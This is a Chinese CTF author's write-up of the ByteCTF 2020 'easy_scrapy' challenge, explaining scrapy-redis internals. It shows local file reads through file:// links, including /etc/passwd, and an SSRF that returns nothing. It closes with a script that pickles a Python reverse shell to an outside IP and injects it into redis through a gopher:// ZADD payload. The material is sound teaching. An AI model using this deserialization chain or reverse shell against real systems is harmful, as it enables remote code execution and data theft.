N0rth3's Blog.

ByteCTF初赛出题笔记

字数统计: 3.4k阅读时长: 13 min
2020/10/30 Share

easy_scrapy

赛后关于官方writeup的呼声中,easy_scrapy最高是我没想到的

于是结合出题时的一些情况,写一下这道题的出题笔记

题目灵感来源于我写漏洞扫描器时的一些想法,新一代的扫描器会用到分布式的架构,比如分布式的异步消息队列。

本题是从扫描器中抽象出来的,web作为管理端,redis做broker,mongodb用作后端数据库,模拟了扫描器中的一个分布式爬虫。

分布式系统都依赖于消息中间件,也就是通常所说的broker,常用的消息中间件包括rabbitMQ、activeMQ、zeroMQ、rocketMQ、kafka、redis等,kfaka应该是经常听到的一个中间件

redis并不是一个正统的消息中间件,比较于真正的消息中间件来讲,它的机制还有很多缺陷,只是有太多的人用它来做消息队列,后来官方索性另外实现了一个消息队列disque

那为什么还是有那么多人用呢,包括我本人最后还是选择了redis作为消息队列,原因无非是简单,因为作为web狗是很熟悉redis的,后来折腾过kafka,光是配一个docker环境就花了不少时间,总的来讲,redis已经能够满足我的需求。

回到题目本身

站在安全人员的角度来看,消息队列作为沟通多个应用的桥梁,是存在一定安全风险的,特别是消息传递过程中的序列化与反序列化,如果使用不当,将会带来严重的安全问题

本题以scrapy—redis框架为例,深入挖掘了其中一些可以利用的点

是我对分布式应用安全的一点简单思考,希望能给大家提供一些新的攻击思路或者灵感

源码分析

scrapy

scrapy是python中使用最广泛的爬虫框架,整体架构如下

image
创建一个爬虫项目

1
scrapy startproject 项目名

运行爬虫

1
scrapy crawl 爬虫名

初始的目录结构如下

1
2
3
4
5
6
7
8
9
Baidu                   # 项目文件夹
├── Baidu # 项目目录
│ ├── items.py # 定义数据结构
│ ├── middlewares.py # 中间件
│ ├── pipelines.py # 数据处理
│ ├── settings.py # 全局配置
│ └── spiders
│ ├── baidu.py # 爬虫文件
└── scrapy.cfg # 项目基本配置文件

深入的分析scrapy的源码,会发现一些有意思的东西
image
它支持的协议比较奇怪,我这里只关注了file协议,有兴趣可以深入研究一下其他的

1
2
3
4
5
6
7
8
9
10
class FileDownloadHandler:
lazy = False

@defers
def download_request(self, request, spider):
filepath = file_uri_to_path(request.url)
with open(filepath, 'rb') as fo:
body = fo.read()
respcls = responsetypes.from_args(filename=filepath, body=body)
return respcls(url=request.url, body=body)

web狗对于scrapy应该并不陌生

scrapy-redis

scrapy-redis是scrapy的一个扩展,结合redis重写了scrapy关于调度等部分的代码
https://github.com/rmax/scrapy-redis
算是实现scrapy实现分布式的一个通用解决方案
我们具体看一下它是如何通过redis实现消息队列的
我们看一下queue.py的部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Base(object):
"""Per-spider base queue class"""

def __init__(self, server, spider, key, serializer=None):
"""Initialize per-spider redis queue.

Parameters
----------
server : StrictRedis
Redis client instance.
spider : Spider
Scrapy spider instance.
key: str
Redis key where to put and get messages.
serializer : object
Serializer object with ``loads`` and ``dumps`` methods.

"""
if serializer is None:
# Backward compatibility.
# TODO: deprecate pickle.
serializer = picklecompat
if not hasattr(serializer, 'loads'):
raise TypeError("serializer does not implement 'loads' function: %r"
% serializer)
if not hasattr(serializer, 'dumps'):
raise TypeError("serializer '%s' does not implement 'dumps' function: %r"
% serializer)

self.server = server
self.spider = spider
self.key = key % {'spider': spider.name}
self.serializer = serializer

def _encode_request(self, request):
"""Encode a request object"""
obj = request_to_dict(request, self.spider)
return self.serializer.dumps(obj)

def _decode_request(self, encoded_request):
"""Decode an request previously encoded"""
obj = self.serializer.loads(encoded_request)
return request_from_dict(obj, self.spider)

可以看到一个很有意思的TODO deprecate pickle
所以作者本身也是明白这个地方存在安全风险的,只是大概和我本人一样,有太多的坑要填了(哭
pickle的序列化和反序列是存在一定风险的,具体不在本文进行阐述了
我们可以看到它对传入的request对象进行了序列化的操作
可以进一步的跟一下
image
也就是大家熟悉的pickle模块了

解题思路

题设情景是一个通过web应用调度的分布式爬虫系统,这点在题目中明确指出了(虽然后端只部署了一个爬虫

提交url任务处做了限制,只允许提交http或者https,提交链接后爬虫会抓取链接并返回链接的内容
image
根据ua的提示不难猜测后端使用的scrapy爬虫,搜索scrapy_redis可以发现这是一个分布式爬虫框架
同时容易发现存在一处没有回显的SSRF

1
http://119.45.184.10:3000/result?url=payload

但是暂时没有什么用处,有redis有ssrf可能会考虑redis未授权,但是并找不到redis在哪里(暂时不考虑先扫描的情况下

思路继续回到爬虫上来
如我们上文提到的,scrapy支持file协议,考虑用file协议读文件
简单测试会发现爬虫会抓取页面中的href链接并进行爬取
构造如下页面

1
<a href="file:///etc/passwd">

提交链接后可以发现爬虫返回了/etc/passwd的内容
考虑去读取爬虫的源码,因为爬虫必定是从redis中获取的任务
但是并不知道路径,尝试proc目录

1
<a href="file:///proc/self/cmdline">

可以读到启动的命令为

1
/usr/local/bin/python /usr/local/bin/scrapy crawl byte


1
python scrapy crawl byte

了解scrapy的机制后你会知道这是启动scrapy爬虫的命令,阅读文档会发现他需要去加载scrapy.cfg这个配置文件
我们可以使用

1
<a href="file:///proc/self/cwd/scrapy.cfg">

读取到这个配置文件,发现一些项目信息

1
2
3
4
5
6
7
8
9
10
11
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

scrapy默认创建的项目都是相同的结构
而且我们已经看到这个settings了,尝试读取

1
<a href="file:///proc/self/cwd/bytectf/settings.py">

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
'bytectf.pipelines.BytectfPipeline': 300,
}

已经看到redis的地址了,然后我们有一个无回显的SSRF
肯定是会尝试redis一把梭的,然后打了一通发现根本不能shell,这也是本题最大的一个坑点

打不通可能会想起来去读爬虫的源码,读取步骤跟之前一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
name = 'byte'

def parse(self, response):
byte_item = BytectfItem()
byte_item['byte_start'] = response.request.url
url_list = []
test = response.xpath('//a/@href').getall()
for i in test:
if i[0] == '/':
url = response.request.url + i
else:
url = i
if re.search(r'://',url):
r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
r.meta['item'] = byte_item
yield r
url_list.append(url)
if(len(url_list)>9):
break
byte_item['byte_url'] = response.request.url
byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield byte_item

def parse2(self,response):
item = response.meta['item']
item['byte_url'] = response.request.url
item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield item

爬虫源码非常简单,全部文件读出来还会发现内网有一台mongodb
其实为了防止大家跑偏这台mongodb特意加了密码,简单想一下就会发现并没有什么能利用的
然后我们继续分析爬虫的源码
可以看到是用scrapy_redis写的一个爬虫,功能即接收url,抓取其中的url链接然后爬取

整理一下已知信息
整体架构也很清晰了,web应用将任务传给redis,redis做为broker,爬虫从这个broker处获取任务,最后将任务的结果存入mongodb,最基础的一套分布式应用架构。

一共四台服务器,并不知道flag在哪里,我们整理一下思路
在整个攻击行为中我们需要去梳理我们能够控制的点

  • file读文件
  • 无回显ssrf

利用这两点我们能直接攻击的首先是redis,尝试shell redis所在的机器,这是一个很顺理成章的思路
但是此处是一个苛刻环境,对于这个redis我们一无所知,不仅不知道版本,ssrf也没有回显,同时我们必须反弹一个shell,综合以上这些情况其实攻击成功的概率是极低的,无异于是碰碰运气
简单尝试后我们应该放弃,而不是继续死磕,因为这时候你应该思考是不是走错路了

还容易想到的是利用ssrf进行内网探测和盲打,但是此处是一个无回显,又是在ctf中,所以这种想法基本可以排除

另一个相对隐蔽的攻击点,scrapy的数据是从redis中去取的,我们既然能够控制redis,那我们能否构造特定的数据来控制scrapy呢,这暂时是一个问号,要实现我们的构想,自然需要去阅读scrapy相关的源码

其实已经有很多hint了,从题目名,到爬虫的ua,都在暗示你去关注scrapy

爬虫的源码很简单,因为我们考虑利用redis攻击,所以我们需要去关注爬虫跟redis进行数据交互部分的代码
阅读scrapy_redis的源码
image
image
可以发现它在存取数据的过程中使用了pickle的序列化方式
那我们只需要精心构造好序列化后的数据触发反序列化即可达到命令执行的目的

进一步跟进发现,它会将request对象存入爬虫名:requests这样的有序列表中

这里肯定是需要你在本地搭建环境调试
题目一定程度的贴合了实际场景,所以难免会有一些坑

最后采用python反弹是最稳妥的
实际测试的时候bash应该是弹不了的
但是本身在实际的攻击行为中,我们面对各种复杂的环境,肯定是选择最稳妥的,因为我们要尽可能的控制变量
例如没有反弹成功,是因为bash的原因还是因为命令本身没有执行,这些都是需要考虑的

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os
from urllib.parse import quote

class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.45.184.10",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))

test = str(pickle.dumps(exp()))
poc = test.replace("\n",'\\n').replace("\"","\\\"")[2:-1]
poc ='gopher://172.20.0.7:6379/_'+quote('ZADD byte:requests 0 "')+quote(poc)+quote('"')
print(poc)

本题的思路来自于对分布式应用中broker的脆弱性的思考

其它

针对比赛中的很多吐槽,以下是我的一些想法

比赛中有选手吐槽不知道scrapy版本,不知道redis版本,其实这里本地环境搭建的时候这两个的版本好像不太重要
其次就是对于整个架构的理解,有选手说没有web的源码
在整个分布式的系统中,web只是充当了一个数据的输入,我们既然都能直接通过SSRF操作redis了,那这个web的源码其实并不重要
所以读不到web的源码也是预期中的

然后是SSRF为什么不给回显,个人的理解是在真实的场景中要获得一个完全回显的SSRF是很难的
在受限场景下,Web狗如何在本地搭建环境调试并完成攻击,我认为是一项非常重要的能力

其次是有选手反映说服务太复杂,不知道做什么
其实一共四台服务器,就是一个很基础的分布式应用,为什么一定要上一个mongodb,我的思考是尽可能的还原最真实的环境,不能为了出题而出题
再结合上面的解题思路,其实你能够攻击的也就两台服务器
在实际的场景中我们要面对的环境远比两台服务器复杂,所以留了一些坑给选手们
思路本身就是很重要的东西,个人认为本题没有任何脑洞,在逻辑上能形成完整的链路
唯一出乎意料的是赛后竟然真有师傅主从打redis成功了,其实这个问题出题的时候跟yusong讨论过,最后的结论是即便shell了这台redis也没啥用,如果说打成功了那他后一步也是通过数据库去攻击其它的机器,考点仍然在分布式应用上,所以也就没有很纠结这个点

关于题目难度我个人的理解,其实这是一场Web狗能c的比赛,是Web狗大展身手的时候

本题涉及的技术并不难,可能更多的是引导大家去思考,从其中有所收获

参考链接

https://juejin.im/post/6844903626171760653#heading-5
https://www.cnblogs.com/LXP-Never/p/11391283.html

CATALOG
  1. 1. easy_scrapy
    1. 1.1. 源码分析
      1. 1.1.1. scrapy
      2. 1.1.2. scrapy-redis
    2. 1.2. 解题思路
    3. 1.3. 其它
    4. 1.4. 参考链接